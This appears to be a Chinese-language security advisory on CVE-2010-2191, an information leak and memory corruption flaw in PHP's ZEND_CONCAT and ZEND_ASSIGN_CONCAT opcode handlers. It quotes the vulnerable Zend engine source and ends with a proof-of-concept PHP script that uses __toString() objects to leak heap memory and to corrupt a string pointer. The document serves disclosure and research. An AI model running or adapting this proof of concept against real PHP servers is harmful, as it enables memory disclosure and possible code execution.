安全研究

安全漏洞
PHP ZEND_CONCAT/ZEND_ASSIGN_CONCAT Opcode中断处理信息泄露漏洞

发布日期:2010-05-31
更新日期:2010-06-28

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
CVE ID: CVE-2010-2191

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ZEND_CONCAT和ZEND_ASSIGN_CONCAT opcode实现中存在信息泄露漏洞。由于以上二者比较相似,这里仅以ZEND_CONCAT的实现为例:

ZEND_VM_HANDLER(8, ZEND_CONCAT, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
    zend_op *opline = EX(opline);
    zend_free_op free_op1, free_op2;

    concat_function(&EX_T(opline->result.u.var).tmp_var,
        GET_OP1_ZVAL_PTR(BP_VAR_R),
        GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
    FREE_OP1();
    FREE_OP2();
    ZEND_VM_NEXT_OPCODE();
}

处理器本身仅调用concat_function(),向该函数传送临时的结果变量和两个操作数。concat_function()函数的实现如下:

ZEND_API int concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
    zval op1_copy, op2_copy;
    int use_copy1 = 0, use_copy2 = 0;

    if (Z_TYPE_P(op1) != IS_STRING) {
        zend_make_printable_zval(op1, &op1_copy, &use_copy1);
    }
    if (Z_TYPE_P(op2) != IS_STRING) {
        zend_make_printable_zval(op2, &op2_copy, &use_copy2);
    }

    if (use_copy1) {
        /* We have created a converted copy of op1. Therefore, op1 won't become the result so
         * we have to free it.
         */
        if (result == op1) {
            zval_dtor(op1);
        }
        op1 = &op1_copy;
    }
    if (use_copy2) {
        op2 = &op2_copy;
    }
    if (result==op1) {  /* special case, perform operations on result */
        uint res_len = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);

        if (Z_STRLEN_P(result) < 0 || (int) (Z_STRLEN_P(op1) + Z_STRLEN_P(op2)) < 0) {
            efree(Z_STRVAL_P(result));
            ZVAL_EMPTY_STRING(result);
            zend_error(E_ERROR, "String size overflow");
        }

        Z_STRVAL_P(result) = erealloc(Z_STRVAL_P(result), res_len+1);

        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(result), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[res_len]=0;
        Z_STRLEN_P(result) = res_len;
    } else {
        Z_STRLEN_P(result) = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
        Z_STRVAL_P(result) = (char *) emalloc(Z_STRLEN_P(result) + 1);
        memcpy(Z_STRVAL_P(result), Z_STRVAL_P(op1), Z_STRLEN_P(op1));
        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[Z_STRLEN_P(result)] = 0;
        Z_TYPE_P(result) = IS_STRING;
    }
    if (use_copy1) {
        zval_dtor(op1);
    }
    if (use_copy2) {
        zval_dtor(op2);
    }
    return SUCCESS;
}

两个操作数在连接之前都首先转换为字符串。字符串转换支持__toString()方式对象,因此可轻易的被攻击者中断。攻击者可以将带有__toString()方式的对象用作第二个操作数以更改第一个操作数的类型。对于ZEND_CONCAT opcode的情况,第一个操作数与结果操作数不同,导致分配了所有两个字符串的内存之后将两个字符串都拷贝进去。对于已修改的操作数的情况,将非字符串内存拷贝到了缓冲区。

在ZEND_ASSIGN_CONCAT opcode的情况下,第一个操作数与结果是相同的,这意味着第一个操作数首先被重新分配,之后再附加第二个操作数。因此攻击者可以重新分配任意内存地址,释放任意内存块,导致执行任意代码。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/2010/05/31/mops-2010-054-php-zend_concatzend_assign_concat-opcode-interruption-information-leak-and-memory-corruption-vulnerability/index.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
error_reporting(E_ALL);

class dummyLeakArray
{
    function __toString()
    {
        parse_str("x=1", $GLOBALS['a']);
        return "AAAAA";
    }  
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['a'] = str_repeat("A", 39);
} else {
    $GLOBALS['a'] = str_repeat("A", 67);        
}
$b = new dummyLeakArray();

/* Trigger the Code */
$res = $a . $b;

hexdump($res);



class dummyLeakArbitrary
{
    function __toString()
    {
        $GLOBALS['a'] += 0x55667788;
        return "AAAAA";
    }
}

/* Initialize */
$a = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$b = new dummyLeakArbitrary();

/* Trigger the Code */
$res = $a . $b;
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:2592
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障